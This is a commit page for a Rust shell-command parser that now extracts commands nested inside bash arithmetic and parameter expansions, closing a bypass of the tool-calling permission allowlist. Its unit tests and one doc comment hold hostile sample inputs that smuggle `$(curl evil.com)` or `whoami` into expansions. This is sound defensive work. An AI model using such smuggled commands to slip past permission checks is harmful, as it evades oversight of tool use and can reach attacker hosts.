History

Extract nested command substitutions from arithmetic expansions (#54690)

Bash arithmetic expansion `$((...))` can contain command substitutions like `$(curl evil.com)`. Previously, `extract_commands_from_word_piece` treated `ArithmeticExpression` as a no-op, so nested commands inside `$(( ... ))` were never extracted for allowlist checking. This fix re-parses the `ArithmeticExpression` value string using `brush_parser::word::parse` and recursively extracts any embedded command substitutions, mirroring how `CommandSubstitution` and `DoubleQuotedSequence` are already handled. Closes SEC-267 Release Notes: - Commands nested inside bash arithmetic expansions (e.g. `$(($(curl example.com)))`) are now understood by the tool-calling permissions regexes.

Richard Feldman committed 6 months ago

Commit 3be7bdc1 parent fc766221 file · +174 −3Browse files

Showing the changes to crates/shell_command_parser/src/shell_command_parser.rs (1 of 1 file). Show all

Unified · Split

crates/shell_command_parser/src/shell_command_parser.rs+174−3
@@ -875,13 +875,101 @@ fn extract_commands_from_word_piece(piece: &WordPiece, commands: &mut Vec<String · 874 unmodified lines
875875 extract_commands_from_word_piece(&inner_piece_with_source.piece, commands)?;
876876 }
877877 }
878+ WordPiece::ArithmeticExpression(expr) => {
879+ // The arithmetic body may contain `$(...)` or `${...}` that bash will
880+ // evaluate before doing arithmetic. Re-parse to extract those.
881+ // We propagate parse failures with `?` so that callers fail closed
882+ // (treating the whole input as a parse failure) rather than silently
883+ // dropping commands hidden inside content brush couldn't tokenize.
884+ extract_commands_from_word_string(&expr.value, commands)?;
885+ }
886+ WordPiece::ParameterExpansion(expr) => {
887+ extract_commands_from_parameter_expr(expr, commands)?;
888+ }
878889 WordPiece::EscapeSequence(_)
879890 | WordPiece::SingleQuotedText(_)
880891 | WordPiece::Text(_)
881892 | WordPiece::AnsiCQuotedText(_)
882− | WordPiece::TildePrefix(_)
883− | WordPiece::ParameterExpansion(_)
884− | WordPiece::ArithmeticExpression(_) => {}
893+ | WordPiece::TildePrefix(_) => {}
894+ }
895+ Some(())
896+}
897+
898+/// Re-parses a string as a bash word and recurses into its pieces to extract
899+/// any nested command substitutions. Returns `None` (failing closed) if brush
900+/// cannot tokenize the input, so callers treat allowlist decisions about this
901+/// input as untrusted.
902+fn extract_commands_from_word_string(s: &str, commands: &mut Vec<String>) -> Option<()> {
903+ let options = ParserOptions::default();
904+ let pieces = brush_parser::word::parse(s, &options).ok()?;
905+ for inner_piece in pieces {
906+ extract_commands_from_word_piece(&inner_piece.piece, commands)?;
907+ }
908+ Some(())
909+}
910+
911+/// Recurses into the string-typed fields of a parameter expansion that bash
912+/// will subject to command substitution at expansion time, mirroring the
913+/// arithmetic expansion handling. Failing to extend this when adding new
914+/// `ParameterExpr` variants risks an allowlist bypass via e.g.
915+/// `${V:-$(curl evil)}`, `${V/pat/$(curl evil)}`, `${V:$(($(curl))):1}`.
916+fn extract_commands_from_parameter_expr(
917+ expr: &brush_parser::word::ParameterExpr,
918+ commands: &mut Vec<String>,
919+) -> Option<()> {
920+ use brush_parser::word::ParameterExpr;
921+ match expr {
922+ ParameterExpr::Parameter { .. }
923+ | ParameterExpr::ParameterLength { .. }
924+ | ParameterExpr::Transform { .. }
925+ | ParameterExpr::VariableNames { .. }
926+ | ParameterExpr::MemberKeys { .. } => {}
927+ ParameterExpr::UseDefaultValues { default_value, .. }
928+ | ParameterExpr::AssignDefaultValues { default_value, .. } => {
929+ if let Some(value) = default_value {
930+ extract_commands_from_word_string(value, commands)?;
931+ }
932+ }
933+ ParameterExpr::IndicateErrorIfNullOrUnset { error_message, .. } => {
934+ if let Some(value) = error_message {
935+ extract_commands_from_word_string(value, commands)?;
936+ }
937+ }
938+ ParameterExpr::UseAlternativeValue {
939+ alternative_value, ..
940+ } => {
941+ if let Some(value) = alternative_value {
942+ extract_commands_from_word_string(value, commands)?;
943+ }
944+ }
945+ ParameterExpr::RemoveSmallestSuffixPattern { pattern, .. }
946+ | ParameterExpr::RemoveLargestSuffixPattern { pattern, .. }
947+ | ParameterExpr::RemoveSmallestPrefixPattern { pattern, .. }
948+ | ParameterExpr::RemoveLargestPrefixPattern { pattern, .. }
949+ | ParameterExpr::UppercaseFirstChar { pattern, .. }
950+ | ParameterExpr::UppercasePattern { pattern, .. }
951+ | ParameterExpr::LowercaseFirstChar { pattern, .. }
952+ | ParameterExpr::LowercasePattern { pattern, .. } => {
953+ if let Some(pattern) = pattern {
954+ extract_commands_from_word_string(pattern, commands)?;
955+ }
956+ }
957+ ParameterExpr::Substring { offset, length, .. } => {
958+ extract_commands_from_word_string(&offset.value, commands)?;
959+ if let Some(length) = length {
960+ extract_commands_from_word_string(&length.value, commands)?;
961+ }
962+ }
963+ ParameterExpr::ReplaceSubstring {
964+ pattern,
965+ replacement,
966+ ..
967+ } => {
968+ extract_commands_from_word_string(pattern, commands)?;
969+ if let Some(replacement) = replacement {
970+ extract_commands_from_word_string(replacement, commands)?;
971+ }
972+ }
885973 }
886974 Some(())
887975 }
@@ -1754,4 +1842,87 @@ mod tests { · 866 unmodified lines
17541842 TerminalCommandValidation::Unsafe
17551843 );
17561844 }
1845+
1846+ #[test]
1847+ fn test_arithmetic_expansion_nested_command_substitution() {
1848+ let commands = extract_commands("echo $(($(curl evil.com)))").expect("parse failed");
1849+ assert!(commands.iter().any(|c| c.contains("echo")));
1850+ assert!(commands.iter().any(|c| c.contains("curl")));
1851+ }
1852+
1853+ #[test]
1854+ fn test_arithmetic_expansion_nested_backtick_substitution() {
1855+ let commands = extract_commands("echo $((`whoami`))").expect("parse failed");
1856+ assert!(commands.iter().any(|c| c.contains("echo")));
1857+ assert!(commands.contains(&"whoami".to_string()));
1858+ }
1859+
1860+ #[test]
1861+ fn test_arithmetic_expansion_without_substitution() {
1862+ let commands = extract_commands("echo $((1+2))").expect("parse failed");
1863+ assert_eq!(commands, vec!["echo $((1+2))"]);
1864+ }
1865+
1866+ #[test]
1867+ fn test_arithmetic_expansion_doubly_nested_command_substitution() {
1868+ let commands = extract_commands("echo $(($(($(curl evil.com)))))").expect("parse failed");
1869+ assert!(commands.iter().any(|c| c.contains("echo")));
1870+ assert!(commands.iter().any(|c| c.contains("curl")));
1871+ }
1872+
1873+ #[test]
1874+ fn test_arithmetic_expansion_inside_double_quotes() {
1875+ let commands = extract_commands("echo \"$(($(curl evil.com)))\"").expect("parse failed");
1876+ assert!(commands.iter().any(|c| c.contains("echo")));
1877+ assert!(commands.iter().any(|c| c.contains("curl")));
1878+ }
1879+
1880+ #[test]
1881+ fn test_parameter_expansion_default_value_extracts_command_substitution() {
1882+ let commands = extract_commands("echo ${V:-$(curl evil.com)}").expect("parse failed");
1883+ assert!(commands.iter().any(|c| c.contains("echo")));
1884+ assert!(commands.iter().any(|c| c.contains("curl")));
1885+ }
1886+
1887+ #[test]
1888+ fn test_parameter_expansion_assign_default_extracts_command_substitution() {
1889+ let commands = extract_commands("echo ${V:=$(curl evil.com)}").expect("parse failed");
1890+ assert!(commands.iter().any(|c| c.contains("echo")));
1891+ assert!(commands.iter().any(|c| c.contains("curl")));
1892+ }
1893+
1894+ #[test]
1895+ fn test_parameter_expansion_alternative_value_extracts_command_substitution() {
1896+ let commands = extract_commands("echo ${V:+$(curl evil.com)}").expect("parse failed");
1897+ assert!(commands.iter().any(|c| c.contains("echo")));
1898+ assert!(commands.iter().any(|c| c.contains("curl")));
1899+ }
1900+
1901+ #[test]
1902+ fn test_parameter_expansion_error_message_extracts_command_substitution() {
1903+ let commands = extract_commands("echo ${V:?$(curl evil.com)}").expect("parse failed");
1904+ assert!(commands.iter().any(|c| c.contains("echo")));
1905+ assert!(commands.iter().any(|c| c.contains("curl")));
1906+ }
1907+
1908+ #[test]
1909+ fn test_parameter_expansion_replacement_extracts_command_substitution() {
1910+ let commands = extract_commands("echo ${V/x/$(curl evil.com)}").expect("parse failed");
1911+ assert!(commands.iter().any(|c| c.contains("echo")));
1912+ assert!(commands.iter().any(|c| c.contains("curl")));
1913+ }
1914+
1915+ #[test]
1916+ fn test_parameter_expansion_suffix_pattern_extracts_command_substitution() {
1917+ let commands = extract_commands("echo ${V%$(curl evil.com)}").expect("parse failed");
1918+ assert!(commands.iter().any(|c| c.contains("echo")));
1919+ assert!(commands.iter().any(|c| c.contains("curl")));
1920+ }
1921+
1922+ #[test]
1923+ fn test_parameter_expansion_substring_offset_extracts_command_substitution() {
1924+ let commands = extract_commands("echo ${V:$(($(curl evil.com))):1}").expect("parse failed");
1925+ assert!(commands.iter().any(|c| c.contains("echo")));
1926+ assert!(commands.iter().any(|c| c.contains("curl")));
1927+ }
17571928 }

Keyboard shortcuts

General

Show keyboard shortcuts
?
Focus the current search
/

Issues and pull requests

Open filters
f

Issues, pull requests and Inbox

Select next item
j↓
Select previous item
k↑
Open selected item
Enter
Dismiss filters or clear selection
Esc

Repository code

Go to file
t